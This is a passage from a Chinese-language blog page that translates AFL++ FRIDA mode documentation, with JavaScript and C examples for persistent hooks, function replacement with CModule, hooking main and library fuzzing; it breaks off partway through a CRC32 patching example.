class="line"></span><br><span class="line"><span class="comment">/* *ALWAYS* call this when you have finished all your configuration */</span></span><br><span class="line"><span class="title class_">Afl</span>.<span class="title function_">done</span>();</span><br><span class="line"><span class="title class_">Afl</span>.<span class="title function_">print</span>(<span class="string">&quot;done&quot;</span>);</span><br></pre></td></tr></table></figure><h2 id="stripped-binaries"><a class="markdownIt-Anchor" href="#stripped-binaries"></a> Stripped binaries</h2><p>下面的例子是处理没符号或者导出表的二进制的情况：</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">const</span> <span class="variable language_">module</span> = <span class="title class_">Process</span>.<span class="title function_">getModuleByName</span>(<span class="string">&#x27;target.exe&#x27;</span>);</span><br><span class="line"><span class="comment">/* Hardcoded offset within the target image */</span></span><br><span class="line"><span class="keyword">const</span> address = <span class="variable language_">module</span>.<span class="property">base</span>.<span class="title function_">add</span>(<span class="number">0xdeadface</span>);</span><br><span class="line"><span class="title class_">Afl</span>.<span class="title function_">setPersistentAddress</span>(address);</span><br></pre></td></tr></table></figure><h2 id="persistent-hook"><a class="markdownIt-Anchor" href="#persistent-hook"></a> Persistent hook</h2><p>Persistent hook可以通过使用一个共享链接库的方式(***.so)的方式实现。示例源码（hook并fuzz<code>LLVMFuzzerTestOneInput</code>函数的例子）可以在Frida_mode/hook目录下找到。在该例子中，使用了如下的代码片段实现Persistent Hook。</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">const</span> path = <span class="title class_">Afl</span>.<span class="property">module</span>.<span class="property">path</span>;</span><br><span class="line"><span class="keyword">const</span> dir = path.<span class="title function_">substring</span>(<span class="number">0</span>, path.<span class="title function_">lastIndexOf</span>(<span class="string">&quot;/&quot;</span>));</span><br><span class="line"><span class="keyword">const</span> mod = <span class="title class_">Module</span>.<span class="title function_">load</span>(<span class="string">`<span class="subst">$&#123;dir&#125;</span>/frida_mode/build/hook.so`</span>);</span><br><span class="line"><span class="keyword">const</span> hook = mod.<span class="title function_">getExportByName</span>(<span class="string">&#x27;afl_persistent_hook&#x27;</span>);</span><br><span class="line"><span class="title class_">Afl</span>.<span class="title function_">setPersistentHook</span>(hook);</span><br></pre></td></tr></table></figure><p>Persistent Hook也可以通过FRIDA本身对<code>CModule</code>的支持来实现，该功能依赖于TinyCC。</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">const</span> cm = <span class="keyword">new</span> <span class="title class_">CModule</span>(<span class="string">`</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">    #include &lt;string.h&gt;</span></span><br><span class="line"><span class="string">    #include &lt;gum/gumdefs.h&gt;</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">    void afl_persistent_hook(GumCpuContext *regs, uint8_t *input_buf,</span></span><br><span class="line"><span class="string">      uint32_t input_buf_len) &#123;</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">      memcpy((void *)regs-&gt;rdi, input_buf, input_buf_len);</span></span><br><span class="line"><span class="string">      regs-&gt;rsi = input_buf_len;</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">    &#125;</span></span><br><span class="line"><span class="string">    `</span>,</span><br><span class="line">    &#123;</span><br><span class="line">        <span class="attr">memcpy</span>: <span class="title class_">Module</span>.<span class="title function_">getExportByName</span>(<span class="literal">null</span>, <span class="string">&#x27;memcpy&#x27;</span>)</span><br><span class="line">    &#125;);</span><br><span class="line"><span class="title class_">Afl</span>.<span class="title function_">setPersistentHook</span>(cm.<span class="property">afl_persistent_hook</span>);</span><br></pre></td></tr></table></figure><h2 id="advanced-persistence"><a class="markdownIt-Anchor" href="#advanced-persistence"></a> Advanced persistence</h2><p>以如下的代码作为（被fuzz）的目标程序源码为例：</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;fcntl.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;stdbool.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;stdio.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;stdlib.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;unistd.h&gt;</span></span></span><br><span class="line"></span><br><span class="line"><span class="type">void</span> <span class="title function_">LLVMFuzzerTestOneInput</span><span class="params">(<span class="type">char</span> *buf, <span class="type">int</span> len)</span> &#123;</span><br><span class="line"></span><br><span class="line">  <span class="keyword">if</span> (len &lt; <span class="number">1</span>) <span class="keyword">return</span>;</span><br><span class="line">  buf[len] = <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line">  <span class="comment">// we support three input cases</span></span><br><span class="line">  <span class="keyword">if</span> (buf[<span class="number">0</span>] == <span class="string">&#x27;0&#x27;</span>)</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;Looks like a zero to me!\n&quot;</span>);</span><br><span class="line">  <span class="keyword">else</span> <span class="keyword">if</span> (buf[<span class="number">0</span>] == <span class="string">&#x27;1&#x27;</span>)</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;Pretty sure that is a one!\n&quot;</span>);</span><br><span class="line">  <span class="keyword">else</span></span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;Neither one or zero? How quaint!\n&quot;</span>);</span><br><span class="line"></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="type">int</span> <span class="title function_">run</span><span class="params">(<span class="type">char</span> *file)</span> &#123;</span><br><span class="line"></span><br><span class="line">  <span class="type">int</span>    fd = <span class="number">-1</span>;</span><br><span class="line">  <span class="type">off_t</span>  len;</span><br><span class="line">  <span class="type">char</span> * buf = <span class="literal">NULL</span>;</span><br><span class="line">  <span class="type">size_t</span> n_read;</span><br><span class="line">  <span class="type">int</span>    result = <span class="number">-1</span>;</span><br><span class="line"></span><br><span class="line">  <span class="keyword">do</span> &#123;</span><br><span class="line"></span><br><span class="line">    dprintf(STDERR_FILENO, <span class="string">&quot;Running: %s\n&quot;</span>, file);</span><br><span class="line"></span><br><span class="line">    fd = open(file, O_RDONLY);</span><br><span class="line">    <span class="keyword">if</span> (fd &lt; <span class="number">0</span>) &#123;</span><br><span class="line"></span><br><span class="line">      perror(<span class="string">&quot;open&quot;</span>);</span><br><span class="line">      <span class="keyword">break</span>;</span><br><span class="line"></span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    len = lseek(fd, <span class="number">0</span>, SEEK_END);</span><br><span class="line">    <span class="keyword">if</span> (len &lt; <span class="number">0</span>) &#123;</span><br><span class="line"></span><br><span class="line">      perror(<span class="string">&quot;lseek (SEEK_END)&quot;</span>);</span><br><span class="line">      <span class="keyword">break</span>;</span><br><span class="line"></span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> (lseek(fd, <span class="number">0</span>, SEEK_SET) != <span class="number">0</span>) &#123;</span><br><span class="line"></span><br><span class="line">      perror(<span class="string">&quot;lseek (SEEK_SET)&quot;</span>);</span><br><span class="line">      <span class="keyword">break</span>;</span><br><span class="line"></span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    buf = <span class="built_in">malloc</span>(len);</span><br><span class="line">    <span class="keyword">if</span> (buf == <span class="literal">NULL</span>) &#123;</span><br><span class="line"></span><br><span class="line">      perror(<span class="string">&quot;malloc&quot;</span>);</span><br><span class="line">      <span class="keyword">break</span>;</span><br><span class="line"></span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    n_read = read(fd, buf, len);</span><br><span class="line">    <span class="keyword">if</span> (n_read != len) &#123;</span><br><span class="line"></span><br><span class="line">      perror(<span class="string">&quot;read&quot;</span>);</span><br><span class="line">      <span class="keyword">break</span>;</span><br><span class="line"></span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    dprintf(STDERR_FILENO, <span class="string">&quot;Running:    %s: (%zd bytes)\n&quot;</span>, file, n_read);</span><br><span class="line"></span><br><span class="line">    LLVMFuzzerTestOneInput(buf, len);</span><br><span class="line">    dprintf(STDERR_FILENO, <span class="string">&quot;Done:    %s: (%zd bytes)\n&quot;</span>, file, n_read);</span><br><span class="line"></span><br><span class="line">    result = <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line">  &#125; <span class="keyword">while</span> (<span class="literal">false</span>);</span><br><span class="line"></span><br><span class="line">  <span class="keyword">if</span> (buf != <span class="literal">NULL</span>) &#123; <span class="built_in">free</span>(buf); &#125;</span><br><span class="line"></span><br><span class="line">  <span class="keyword">if</span> (fd != <span class="number">-1</span>) &#123; close(fd); &#125;</span><br><span class="line"></span><br><span class="line">  <span class="keyword">return</span> result;</span><br><span class="line"></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="type">void</span> <span class="title function_">slow</span><span class="params">()</span> &#123;</span><br><span class="line"></span><br><span class="line">  usleep(<span class="number">100000</span>);</span><br><span class="line"></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="type">int</span> <span class="title function_">main</span><span class="params">(<span class="type">int</span> argc, <span class="type">char</span> **argv)</span> &#123;</span><br><span class="line"></span><br><span class="line">  <span class="keyword">if</span> (argc != <span class="number">2</span>) &#123; <span class="keyword">return</span> <span class="number">1</span>; &#125;</span><br><span class="line">  slow();</span><br><span class="line">  <span class="keyword">return</span> run(argv[<span class="number">1</span>]);</span><br><span class="line"></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>使用CModule的实现方法，FRIDA模式支持对<strong>任何函数</strong>的替换。如下例：</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">const</span> slow = <span class="title class_">DebugSymbol</span>.<span class="title function_">fromName</span>(<span class="string">&#x27;slow&#x27;</span>).<span class="property">address</span>;</span><br><span class="line"><span class="title class_">Afl</span>.<span class="title function_">print</span>(<span class="string">`slow: <span class="subst">$&#123;slow&#125;</span>`</span>);</span><br><span class="line"></span><br><span class="line"><span class="keyword">const</span> <span class="title class_">LLVMFuzzerTestOneInput</span> = <span class="title class_">DebugSymbol</span>.<span class="title function_">fromName</span>(<span class="string">&#x27;LLVMFuzzerTestOneInput&#x27;</span>).<span class="property">address</span>;</span><br><span class="line"><span class="title class_">Afl</span>.<span class="title function_">print</span>(<span class="string">`LLVMFuzzerTestOneInput: <span class="subst">$&#123;LLVMFuzzerTestOneInput&#125;</span>`</span>);</span><br><span class="line"></span><br><span class="line"><span class="keyword">const</span> cm = <span class="keyword">new</span> <span class="title class_">CModule</span>(<span class="string">`</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">    extern unsigned char * __afl_fuzz_ptr;</span></span><br><span class="line"><span class="string">    extern unsigned int * __afl_fuzz_len;</span></span><br><span class="line"><span class="string">    extern void LLVMFuzzerTestOneInput(char *buf, int len);</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">    void slow(void) &#123;</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">      LLVMFuzzerTestOneInput(__afl_fuzz_ptr, *__afl_fuzz_len);</span></span><br><span class="line"><span class="string">    &#125;</span></span><br><span class="line"><span class="string">    `</span>,</span><br><span class="line">    &#123;</span><br><span class="line">        <span class="title class_">LLVMFuzzerTestOneInput</span>: <span class="title class_">LLVMFuzzerTestOneInput</span>,</span><br><span class="line">        <span class="attr">__afl_fuzz_ptr</span>: <span class="title class_">Afl</span>.<span class="title function_">getAflFuzzPtr</span>(),</span><br><span class="line">        <span class="attr">__afl_fuzz_len</span>: <span class="title class_">Afl</span>.<span class="title function_">getAflFuzzLen</span>()</span><br><span class="line">    &#125;);</span><br><span class="line"></span><br><span class="line"><span class="title class_">Afl</span>.<span class="title function_">setEntryPoint</span>(cm.<span class="property">slow</span>);</span><br><span class="line"><span class="title class_">Afl</span>.<span class="title function_">setPersistentAddress</span>(cm.<span class="property">slow</span>);</span><br><span class="line"><span class="title class_">Afl</span>.<span class="title function_">setInMemoryFuzzing</span>();</span><br><span class="line"><span class="title class_">Interceptor</span>.<span class="title function_">replace</span>(slow, cm.<span class="property">slow</span>);</span><br><span class="line"><span class="title class_">Afl</span>.<span class="title function_">print</span>(<span class="string">&quot;done&quot;</span>);</span><br><span class="line"><span class="title class_">Afl</span>.<span class="title function_">done</span>();</span><br></pre></td></tr></table></figure><p>在这个例子里，我们将<code>slow</code>函数替换成我们自己的代码。该代码随后被设定为入口地址、及persistent循环的地址。</p><h3 id="replacing-llvmfuzzertestoneinput"><a class="markdownIt-Anchor" href="#replacing-llvmfuzzertestoneinput"></a> Replacing LLVMFuzzerTestOneInput</h3><p>与其他函数类似，函数<code>LLVMFuzzerTestOneInput</code>同样可以被替换。另外，任何被替换的函数都可以调用它本身。在下面的例子中，我们将<code>LLVMFuzzerTestOneInput</code>函数替换成<code>My_LLVMFuzzerTestOneInput</code>函数，并忽视<code>buf</code>和<code>len</code>两个参数；而改为使用<code>__afl_fuzzer_ptr</code>和<code>__afl_fuzz_len</code>。这允许我们在不必hook其他函数的情况下使用in-memory fuzzing。需要注意的是：替换函数和被替换的原函数<em>不能</em>使用同一函数名字，否则在<code>CModule</code>中的<code>C</code>代码将会由于符号名冲突而不能编译。</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">const</span> <span class="title class_">LLVMFuzzerTestOneInput</span> = <span class="title class_">DebugSymbol</span>.<span class="title function_">fromName</span>(<span class="string">&#x27;LLVMFuzzerTestOneInput&#x27;</span>).<span class="property">address</span>;</span><br><span class="line"><span class="title class_">Afl</span>.<span class="title function_">print</span>(<span class="string">`LLVMFuzzerTestOneInput: <span class="subst">$&#123;LLVMFuzzerTestOneInput&#125;</span>`</span>);</span><br><span class="line"></span><br><span class="line"><span class="keyword">const</span> cm = <span class="keyword">new</span> <span class="title class_">CModule</span>(<span class="string">`</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">    extern unsigned char * __afl_fuzz_ptr;</span></span><br><span class="line"><span class="string">    extern unsigned int * __afl_fuzz_len;</span></span><br><span class="line"><span class="string">    extern void LLVMFuzzerTestOneInput(char *buf, int len);</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">    void My_LLVMFuzzerTestOneInput(char *buf, int len) &#123;</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">      LLVMFuzzerTestOneInput(__afl_fuzz_ptr, *__afl_fuzz_len);</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">    &#125;</span></span><br><span class="line"><span class="string">    `</span>,</span><br><span class="line">    &#123;</span><br><span class="line">        <span class="title class_">LLVMFuzzerTestOneInput</span>: <span class="title class_">LLVMFuzzerTestOneInput</span>,</span><br><span class="line">        <span class="attr">__afl_fuzz_ptr</span>: <span class="title class_">Afl</span>.<span class="title function_">getAflFuzzPtr</span>(),</span><br><span class="line">        <span class="attr">__afl_fuzz_len</span>: <span class="title class_">Afl</span>.<span class="title function_">getAflFuzzLen</span>()</span><br><span class="line">    &#125;);</span><br><span class="line"></span><br><span class="line"><span class="title class_">Afl</span>.<span class="title function_">setEntryPoint</span>(cm.<span class="property">My_LLVMFuzzerTestOneInput</span>);</span><br><span class="line"><span class="title class_">Afl</span>.<span class="title function_">setPersistentAddress</span>(cm.<span class="property">My_LLVMFuzzerTestOneInput</span>);</span><br><span class="line"><span class="title class_">Afl</span>.<span class="title function_">setInMemoryFuzzing</span>();</span><br><span class="line"><span class="title class_">Interceptor</span>.<span class="title function_">replace</span>(<span class="title class_">LLVMFuzzerTestOneInput</span>, cm.<span class="property">My_LLVMFuzzerTestOneInput</span>);</span><br></pre></td></tr></table></figure><h3 id="hooking-main"><a class="markdownIt-Anchor" href="#hooking-main"></a> Hooking <code>main</code></h3><p>最后，需要注意的是，<code>main</code>函数的Hook是一个特殊情况，这是因为<code>main</code>函数已经被FRIDA引擎自身hook了（至少第一个基本块已经被Stalker编译了）。因此任何如以上例子使用<code>Interceptor.replace</code>对<code>main</code>函数的替换都无效。JS绑定为此提供了<code>setJsMainHook</code>如下例所示：</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">const</span> main = <span class="title class_">DebugSymbol</span>.<span class="title function_">fromName</span>(<span class="string">&#x27;main&#x27;</span>).<span class="property">address</span>;</span><br><span class="line"><span class="title class_">Afl</span>.<span class="title function_">print</span>(<span class="string">`main: <span class="subst">$&#123;main&#125;</span>`</span>);</span><br><span class="line"></span><br><span class="line"><span class="keyword">const</span> <span class="title class_">LLVMFuzzerTestOneInput</span> = <span class="title class_">DebugSymbol</span>.<span class="title function_">fromName</span>(<span class="string">&#x27;LLVMFuzzerTestOneInput&#x27;</span>).<span class="property">address</span>;</span><br><span class="line"><span class="title class_">Afl</span>.<span class="title function_">print</span>(<span class="string">`LLVMFuzzerTestOneInput: <span class="subst">$&#123;LLVMFuzzerTestOneInput&#125;</span>`</span>);</span><br><span class="line"></span><br><span class="line"><span class="keyword">const</span> cm = <span class="keyword">new</span> <span class="title class_">CModule</span>(<span class="string">`</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">    extern unsigned char * __afl_fuzz_ptr;</span></span><br><span class="line"><span class="string">    extern unsigned int * __afl_fuzz_len;</span></span><br><span class="line"><span class="string">    extern void LLVMFuzzerTestOneInput(char *buf, int len);</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">    int main(int argc, char **argv)  &#123;</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">      LLVMFuzzerTestOneInput(__afl_fuzz_ptr, *__afl_fuzz_len);</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">    &#125;</span></span><br><span class="line"><span class="string">    `</span>,</span><br><span class="line">    &#123;</span><br><span class="line">        <span class="title class_">LLVMFuzzerTestOneInput</span>: <span class="title class_">LLVMFuzzerTestOneInput</span>,</span><br><span class="line">        <span class="attr">__afl_fuzz_ptr</span>: <span class="title class_">Afl</span>.<span class="title function_">getAflFuzzPtr</span>(),</span><br><span class="line">        <span class="attr">__afl_fuzz_len</span>: <span class="title class_">Afl</span>.<span class="title function_">getAflFuzzLen</span>()</span><br><span class="line">    &#125;);</span><br><span class="line"></span><br><span class="line"><span class="title class_">Afl</span>.<span class="title function_">setEntryPoint</span>(cm.<span class="property">main</span>);</span><br><span class="line"><span class="title class_">Afl</span>.<span class="title function_">setPersistentAddress</span>(cm.<span class="property">main</span>);</span><br><span class="line"><span class="title class_">Afl</span>.<span class="title function_">setInMemoryFuzzing</span>();</span><br><span class="line"><span class="title class_">Afl</span>.<span class="title function_">setJsMainHook</span>(cm.<span class="property">main</span>);</span><br></pre></td></tr></table></figure><h3 id="library-fuzzing"><a class="markdownIt-Anchor" href="#library-fuzzing"></a> Library Fuzzing</h3><p>使用FRIDA的<code>Module.load</code>API,可扩展上述例子<code>main</code>函数的能力，使之调用任意函数。从而，当我们需要Fuzz一个动态链接库（而非可执行程序）时，可使用一个代理可执行程序作为入口。</p><h2 id="patching"><a class="markdownIt-Anchor" href="#patching"></a> Patching</h2><p>以如下测试代码为例：</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/*</span></span><br><span class="line"><span class="comment">   american fuzzy lop++ - a trivial program to test the build</span></span><br><span class="line"><span class="comment">   --------------------------------------------------------</span></span><br><span class="line"><span class="comment">   Originally written by Michal Zalewski</span></span><br><span class="line"><span class="comment">   Copyright 2014 Google Inc. All rights reserved.</span></span><br><span class="line"><span class="comment">   Copyright 2019-2022 AFLplusplus Project. All rights reserved.</span></span><br><span class="line"><span class="comment">   Licensed under the Apache License, Version 2.0 (the &quot;License&quot;);</span></span><br><span class="line"><span class="comment">   you may not use this file except in compliance with the License.</span></span><br><span class="line"><span class="comment">   You may obtain a copy of the License at:</span></span><br><span class="line"><span class="comment">     https://www.apache.org/licenses/LICENSE-2.0</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;fcntl.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;stdbool.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;stdio.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;stdint.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;stdlib.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;unistd.h&gt;</span></span></span><br><span class="line"></span><br><span class="line"><span class="type">const</span> <span class="type">uint32_t</span> crc32_tab[] = &#123;</span><br><span class="line">    <span class="number">0x00000000</span>, <span class="number">0x77073096</span>, <span class="number">0xee0e612c</span>, <span class="number">0x990951ba</span>, <span class="number">0x076dc419</span>, <span class="number">0x706af48f</span>,</span><br><span class="line"></span><br><span class="line">  ...</span><br><span class="line"></span><br><span class="line">    <span class="number">0xb40bbe37</span>, <span class="number">0xc30c8ea1</span>, <span class="number">0x5a05df1b</span>, <span class="number">0x2d02ef8d</span></span><br><span class="line">&#125;;</span><br><span class="line"></span><br><span class="line"><span class="type">uint32_t</span></span><br><span class="line"><span class="title function_">crc32</span><span class="params">(<span class="type">const</span> <span class="type">void</span> *buf, <span class="type">size_t</span> size)</span></span><br><span class="line">&#123;</span><br><span class="line">    <span class="type">const</span> <span class="type">uint8_t</span> *p = buf;</span><br><span class="line">    <span class="type">uint32_t</span> crc;</span><br><span class="line">    crc = ~<span class="number">0U</span>;</span><br><span class="line">    <span class="keyword">while</span> (size--)</span><br><span class="line">        crc = crc32_tab[(crc ^ *p++) &amp; <span class="number">0xFF</span>] ^ (crc &gt;&gt; <span class="number">8</span>);</span><br><span class="line">    <span class="keyword">return</span> crc ^ ~<span class="number">0U</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/*</span></span><br><span class="line"><span class="comment"> * Don&#x27;t you hate those contrived examples which CRC their data. We can use</span></span><br><span class="line"><span class="comment"> * FRIDA to patch this function 